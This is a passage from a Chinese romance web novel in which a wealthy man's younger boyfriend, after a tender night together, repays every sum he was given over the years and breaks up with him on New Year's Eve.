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陆什温热的身体紧贴着他的脊背,滚烫的呼吸洒在他的耳边。青年从头到尾只有呼吸轻重的变化,仍然没有发出任何声音,连喉咙深处最轻浅的欢愉都被牢牢封锁。 到了最后,陆什咬了一口他的后颈,作为这场性/事的终结。 身后的人久久不动,久久不语,极度的安静中,贺开心里莫名慌乱。他急不可耐地转过头去寻找对方的视线。 目光相对的那一瞬,贺开似乎从陆什眼里看到了难过,看到了挣扎,更多的,却是下定决心后的决然。 还没来得及看到更多,眼睛已经被对方的掌心遮住。 陆什摁住他的后颈转向窗户的方向,声音平淡:“贺先生,下雪了。” 18.第 18 章 远山覆雪,雾气缭绕,为沉沉的冬季夜空添了几分明快。 亲密过的身体之间,有着千丝万缕的暧昧联系,每一颗肌肤粒子都彼此熟稔,稍微的碰撞与摩擦,便能擦枪走火。 贺开恨不能变成树袋熊挂在小男友身上,洗澡,洗脸,漱口,全程黏黏糊糊,一秒钟也不愿意分开,非得蹭在一起。 陆什出乎意料的纵容了他,甚至主动帮他接住腰间滑落的浴巾,重新系在腰上,动作称得上是温柔。 直到躺在床上,贺开仍是晕乎乎的,这一晚的温存让他连骨头缝里都酥了。他想起过去的冰冷、争吵与隔阂,那些不属于今夜,不属于温暖的被窝,似乎只是一场噩梦,而他现在已经醒来,并将永远幸福。 “宝宝……”贺开在被子下动了动,翻身爬到小男友身上,两人便从头到脚贴在一起,鼻尖相抵,“再亲一下。” 陆什微阖着眼,声音里带着几分困意:“您该休息了。” “最后一下。” 贺开笑眯眯地亲了亲他的唇角,一下不够,又浅浅地啄了一下。直到腰被捏了捏,酸麻胀痛从脊椎蔓延至天灵盖,他才依依不舍地放开:“晚安,宝贝。” 陆什轻轻拍了拍他的后腰,当做回应。没过多久却又睁开眼,问道:“您春节的安排是怎样?” “年前还有一些工作,需要去一趟外地,大概一周的时间……嘶。”他说着话动了动,立刻倒吸了一大口凉气。 陆什伸手替他按揉腰身,一下又一下,手指温热有力,为他缓解酸痛:“以后不做了。” “要。”贺开立刻反驳,“我休息一晚上,明天就好了。” 陆什不说话。 贺开心里警钟一响,莫名想起在窗前回头时撞见的对方那个眼神——一分的挣扎,两分的难过,七分的决然。 他重复了一遍:“要做,做很多次。” 陆什只道:“您的春节安排还没有讲完。” “……除夕夜需要去我外公家里,和一大家子人吃一顿饭,然后就可以回家。”贺开道,“宝宝,我和你讲过我母亲那边的事情吗?” 陆什道:“讲过。您每年初一会去陵园祭奠您的母亲。” “……对,在那之后就没有应酬了。”贺开说,“今年我们出去玩好不好?最近天气太冷了,你肩膀上的旧伤会复发,去南方温暖的地方好不好?过完年再回来。” “再说吧。”陆什道,“除夕那天,两个舍友回不了家,到时候我和他们吃年夜饭,结束后去找您。” 贺开心里又软又甜,忍不住又亲了一下:“你结束时给我打电话,我提前走就行,反正是应酬,我不乐意在三姑六姨那里浪费时间。” 陆什嗯了一声,困顿地合上眼:“睡觉吧。” 贺开帮他理了理额角的碎发,不想让今夜就这样结束,也不想从紧贴的状态分开:“压你身上会压麻吗?” 黑暗中,陆什叹了口气:“当然会啊……您很轻么?” “……” 贺开尴尬地一笑,就要翻身下去,陆什却又揽了下他的腰:“现在还行,您倒计时五分钟吧。” 青年的语气里有着淡淡的戏谑,贺开感觉耳朵一阵酥麻,心脏不要命地跳动起来。太幸福了,他想。 他不记得过去有没有这么幸福的时刻。 ……似乎是有过一次的。 想到那次,贺开轻声问道:“宝宝,你记得去年春节吗?我们去了云霓山。” 那回忆太缱绻,他的语气也温柔多情。 陆什闭着眼睛不语,贺开等了两秒,猜他或许是睡着了,或许是不想回答,便轻手轻脚地从他身上下来,帮他掖了下被子。 正当躺下时,却听青年的声音低低响起。 “……记得。” - 春节前夕异常忙碌,可贺开想着即将到来的温存,一切琐事都变得面目可爱起来。 到了除夕夜,熬过漫长的家庭年夜饭,贺开回到了家。司机把车停在庭院,他远远的便看见家里亮着的灯光,一分的醉意便变成了十分。 他梦想过多少次——一回家就能见到他的小男友,这愿望如今终于实现。 陆什在客厅等他。 贺开脱下沾满寒气的衣服,换上暖和的家居服,回到楼下,微醺的脑袋终于注意到了一点不对劲——客厅里太安静了,陆什连电视也没有开。 他有意打破这寂静,走过去打开电视,又单膝跪在沙发上要索吻,却被陆什轻轻避开:“您喝酒了?” “喝了一点。”贺开立刻又加了句,“我漱口了。” 陆什把桌上的冒着热气的玻璃杯向他推了推:“您先醒醒酒。” 杯子里是温热的蜂蜜水,贺开慢慢地喝着,目光落在一个精致 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“这张卡是您很早之前给我的,我上小学时,您每个月往里面打五千块。上初中后,您每个月往里面打一万块。到了高中,变成了每个月五万块,大学是每个月二十万块。除此之外,还有不同节假日里您打进去的钱。”陆什说得慢而清晰,“除了这些,还有这些年您送我的礼物折合的钱。每一笔都有明细,所有加在一起的数目,再按银行最新十年期定期存款利率计息,应该是这么多。”他把那张纸递到贺开面前。 原来那是一张账单。 贺开感觉心脏沉沉地往下坠去,他平生最擅长的就是看报表与数字,此时却看不懂一张简简单单的账单。他像触电般缩回手,目光躲闪:“为什么说这个?我说过你不欠我任何东西……今天过年,小陆,你别这样……” 陆什没有理会他的语无伦次,只是把银行卡与账单一起往他面前推了推:“贺先生,所有的本金加利息,都在这张卡里,现在全部还给您。我衷心感谢您对我的一切帮助,那些没有办法只用金钱衡量的东西,至少能先还清属于金钱的那部分。” 贺开只觉得头痛欲裂:“等等……” 陆什又从蓝色纸袋里拿出了另一件东西,一枚银色素圈,是情侣戒指中的一枚,另外一枚在贺开的右手中指上。 “这个也还给您。”陆什说,“我申请了去国外交换一年,年后就会出发。今晚之后,我们就暂时不要见面了。” 贺开觉得自己确实是喝醉了,不然为什么会听不懂中文。他茫然地抬起头想询问,却撞入了青年那双冷漠的眼睛,漂亮却无情的眼睛,如雪山上的冰湖,没有一丝情绪起伏。 他的声音也平静冷淡得如同雪夜:“贺先生,我们分手吧。”